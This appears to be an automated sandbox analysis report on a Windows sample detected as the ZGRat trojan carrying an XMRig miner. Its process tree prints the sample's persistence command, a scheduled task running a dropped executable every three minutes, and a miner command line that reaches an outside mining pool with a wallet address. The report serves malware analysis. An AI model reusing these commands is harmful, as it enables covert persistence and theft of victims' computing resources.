Analysis
- max time kernel
118s - max time network
129s - platform
windows7_x64 - resource
win7-20231215-en - resource tags
- submitted
26/01/2024, 01:27
General
- Target 888309166f7f49e39d6250c386fafbf7.exe
- Size 4.8MB
- Sample240126-bt375scdhr
- SHA256 4ca2a1ecd5b0cd624b834ab4f7ac67159ed458255e326da79d9ceb3412e316a2
Malware Config
Signatures
- Detect ZGRat V1 5 IoCs
- ZGRat
ZGRat is remote access trojan written in C#.
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 10 IoCs
- .NET Reactor proctector 5 IoCs
Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 1 IoCs
- UPX packed file 15 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Delays execution with timeout.exe 1 IoCs
- Suspicious behavior: EnumeratesProcesses 1 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 22 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\888309166f7f49e39d6250c386fafbf7.exe"C:\Users\Admin\AppData\Local\Temp\888309166f7f49e39d6250c386fafbf7.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp51A9.tmp.bat""2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\timeout.exetimeout 33⤵
- Delays execution with timeout.exe
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C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o fr-zephyr.miningocean.org:5342 -u ZEPHYR2dNRNd7BpuKZoXnqZu7WiTzoMXE8EhzsTJDnXV9ZDksih16M2EazfmCb3ax9Z78hH9iJMxSQE1NBkPCK6W3M8SBGcc7ZC2z -p work -a rx/0 --donate-level 1 --opencl4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"1⤵
- Creates scheduled task(s)
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
.exe
.exe
tmp51A9.tmp.bat
.exe
memory/2348-0-0x00000000013D0000-0x000000000189E000-memory.dmp
memory/2348-1-0x000007FEF5C30000-0x000007FEF661C000-memory.dmp
memory/2348-2-0x000000001B920000-0x000000001B9A0000-memory.dmp
memory/2348-3-0x00000000006D0000-0x00000000006D1000-memory.dmp
memory/2348-14-0x000007FEF5C30000-0x000007FEF661C000-memory.dmp
memory/2764-24-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2764-46-0x0000000001D10000-0x0000000001D30000-memory.dmp
memory/2764-45-0x0000000000270000-0x0000000000290000-memory.dmp
memory/2764-44-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2764-23-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2764-43-0x0000000001D10000-0x0000000001D30000-memory.dmp
memory/2764-25-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2764-26-0x000007FFFFFDA000-0x000007FFFFFDB000-memory.dmp
memory/2764-28-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2764-41-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2764-29-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2764-31-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2764-32-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2764-33-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2764-34-0x00000000001E0000-0x0000000000200000-memory.dmp
memory/2764-35-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2764-37-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2764-38-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2764-36-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2764-39-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2764-40-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/2764-42-0x0000000000270000-0x0000000000290000-memory.dmp
memory/2888-19-0x00000000012D0000-0x000000000179E000-memory.dmp
memory/2888-30-0x000007FEF5240000-0x000007FEF5C2C000-memory.dmp
memory/2888-22-0x0000000000640000-0x0000000000641000-memory.dmp
memory/2888-21-0x000000001C500000-0x000000001C580000-memory.dmp
memory/2888-20-0x000007FEF5240000-0x000007FEF5C2C000-memory.dmp